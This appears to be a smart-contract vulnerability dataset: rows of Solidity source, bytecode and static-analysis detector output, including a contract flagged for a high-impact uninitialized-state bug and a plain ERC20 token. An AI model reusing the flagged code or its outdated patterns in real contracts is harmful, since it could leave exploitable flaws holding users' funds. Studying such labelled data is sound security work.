// @title changeAdminAddress allows to update the owner wallet
// @param _newAddress is the address of the new admin wallet
// @dev only callable by current owner
function setOwnerAddress(address _newAddress)
external
onlyOwner
nonZeroAddress(_newAddress)
{
hPayMultiSig = _newAddress;
emit ChangeOwnerAddress(now, hPayMultiSig);
}
function setServerAddress(address _newAddress)
external
onlyOwner
nonZeroAddress(_newAddress)
{
serverAddress = _newAddress;
emit ChangeOwnerAddress(now, serverAddress);
}
function getOwnerAddress() external view returns (address) {
return hPayMultiSig;
}
function getServerAddress() external view returns (address) {
return serverAddress;
}
} | 0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610119578063095ea7b3146101a95780630c4f65bd1461020e57806318160ddd1461026557806323b872dd14610290578063313ce56714610315578063331a6bf51461034657806340c10f191461038957806342966c68146103d657806347b64eb014610403578063661884631461044657806370a08231146104ab57806395d89b4114610502578063a9059cbb14610592578063c7acae2e146105f7578063d73dd6231461064e578063db420fe3146106b3578063dd62ed3e1461070a578063eb0207e314610781575b34801561011357600080fd5b50600080fd5b34801561012557600080fd5b5061012e6107d8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b506101f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610876565b604051808215151515815260200191505060405180910390f35b34801561021a57600080fd5b50610223610968565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561027157600080fd5b5061027a610992565b6040518082815260200191505060405180910390f35b34801561029c57600080fd5b506102fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610998565b604051808215151515815260200191505060405180910390f35b34801561032157600080fd5b5061032a610d52565b604051808260ff1660ff16815260200191505060405180910390f35b34801561035257600080fd5b50610387600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d65565b005b34801561039557600080fd5b506103d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e9d565b005b3480156103e257600080fd5b5061040160048036038101908080359060200190929190505050611064565b005b34801561040f57600080fd5b50610444600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111d2565b005b34801561045257600080fd5b50610491600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061130a565b604051808215151515815260200191505060405180910390f35b3480156104b757600080fd5b506104ec600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061159b565b6040518082815260200191505060405180910390f35b34801561050e57600080fd5b506105176115e3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561055757808201518184015260208101905061053c565b50505050905090810190601f1680156105845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561059e57600080fd5b506105dd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611681565b604051808215151515815260200191505060405180910390f35b34801561060357600080fd5b5061060c6118a0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561065a57600080fd5b50610699600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118ca565b604051808215151515815260200191505060405180910390f35b3480156106bf57600080fd5b506106c8611ac6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561071657600080fd5b5061076b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aec565b6040518082815260200191505060405180910390f35b34801561078d57600080fd5b50610796611b73565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561086e5780601f106108435761010080835404028352916020019161086e565b820191906000526020600020905b81548152906001019060200180831161085157829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60065481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156109d557600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a2257600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610aad57600080fd5b610afe826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9990919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b91826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c6282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dc157600080fd5b8060008173ffffffffffffffffffffffffffffffffffffffff1614151515610de857600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8e7f389354850f541bc98167538122c11004078609730f69a551bce6aa441da7426040518082815260200191505060405180910390a25050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ef957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610f3557600080fd5b600081111515610f4457600080fd5b610f5981600654611bb290919063ffffffff16565b50610fab816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb290919063ffffffff16565b508173ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885826040518082815260200191505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110c057600080fd5b60008111801561110e5750806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b151561111957600080fd5b61112e81600654611b9990919063ffffffff16565b50611180816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9990919063ffffffff16565b503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a250565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561122e57600080fd5b8060008173ffffffffffffffffffffffffffffffffffffffff161415151561125557600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8e7f389354850f541bc98167538122c11004078609730f69a551bce6aa441da7426040518082815260200191505060405180910390a25050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561141b576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114af565b61142e8382611b9990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116795780601f1061164e57610100808354040283529160200191611679565b820191906000526020600020905b81548152906001019060200180831161165c57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156116be57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561170b57600080fd5b61175c826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117ef826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600061195b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000828211151515611ba757fe5b818303905092915050565b60008183019050828110151515611bc557fe5b809050929150505600a165627a7a72305820d7e31bd5511f8fe0c3fff4264281874f6f04cfa94d259db52f81af142cc648ef0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,362 |
0xee1c3b79b5fdcee36b842804d381a875b5fb7594 | pragma solidity ^0.4.12;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Blockkonnect is BurnableToken, Ownable {
string public constant name = "Blockkonnect";
string public constant symbol = "XBT";
uint public constant decimals = 18;
uint256 public constant initialSupply = 100000000 * (10 ** uint256(decimals));
// Constructor
function Blockkonnect () {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
}
} | 0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd14610200578063313ce56714610285578063378dc3dc146102b057806342966c68146102db578063661884631461030857806370a082311461036d5780638da5cb5b146103c457806395d89b411461041b578063a9059cbb146104ab578063d73dd62314610510578063dd62ed3e14610575578063f2fde38b146105ec575b600080fd5b3480156100ec57600080fd5b506100f561062f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610668565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea61075a565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610760565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610a4c565b6040518082815260200191505060405180910390f35b3480156102bc57600080fd5b506102c5610a51565b6040518082815260200191505060405180910390f35b3480156102e757600080fd5b5061030660048036038101908080359060200190929190505050610a5f565b005b34801561031457600080fd5b50610353600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bc2565b604051808215151515815260200191505060405180910390f35b34801561037957600080fd5b506103ae600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e53565b6040518082815260200191505060405180910390f35b3480156103d057600080fd5b506103d9610e9c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042757600080fd5b50610430610ec2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610470578082015181840152602081019050610455565b50505050905090810190601f16801561049d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104b757600080fd5b506104f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610efb565b604051808215151515815260200191505060405180910390f35b34801561051c57600080fd5b5061055b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110d1565b604051808215151515815260200191505060405180910390f35b34801561058157600080fd5b506105d6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112cd565b6040518082815260200191505060405180910390f35b3480156105f857600080fd5b5061062d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611354565b005b6040805190810160405280600c81526020017f426c6f636b6b6f6e6e656374000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561079f57600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061087083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ac90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090583600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114c590919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095b83826114ac90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6305f5e1000281565b60008082111515610a6f57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610abd57600080fd5b339050610b1282600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ac90919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b6a826000546114ac90919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cd3576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d67565b610ce683826114ac90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f584254000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f3857600080fd5b610f8a82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ac90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101f82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114c590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061116282600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114c590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113b057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113ec57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156114ba57fe5b818303905092915050565b60008082840190508381101515156114d957fe5b80915050929150505600a165627a7a723058206fe7ccbe4e44d607b7710bb1872624aa75f923de296ca162f0df963bbda3f3330029 | {"success": true, "error": null, "results": {}} | 10,363 |
0xc177f93be371cdb3e42a48858121fc4bd2f5960c | // SPDX-License-Identifier: UNLICENSED
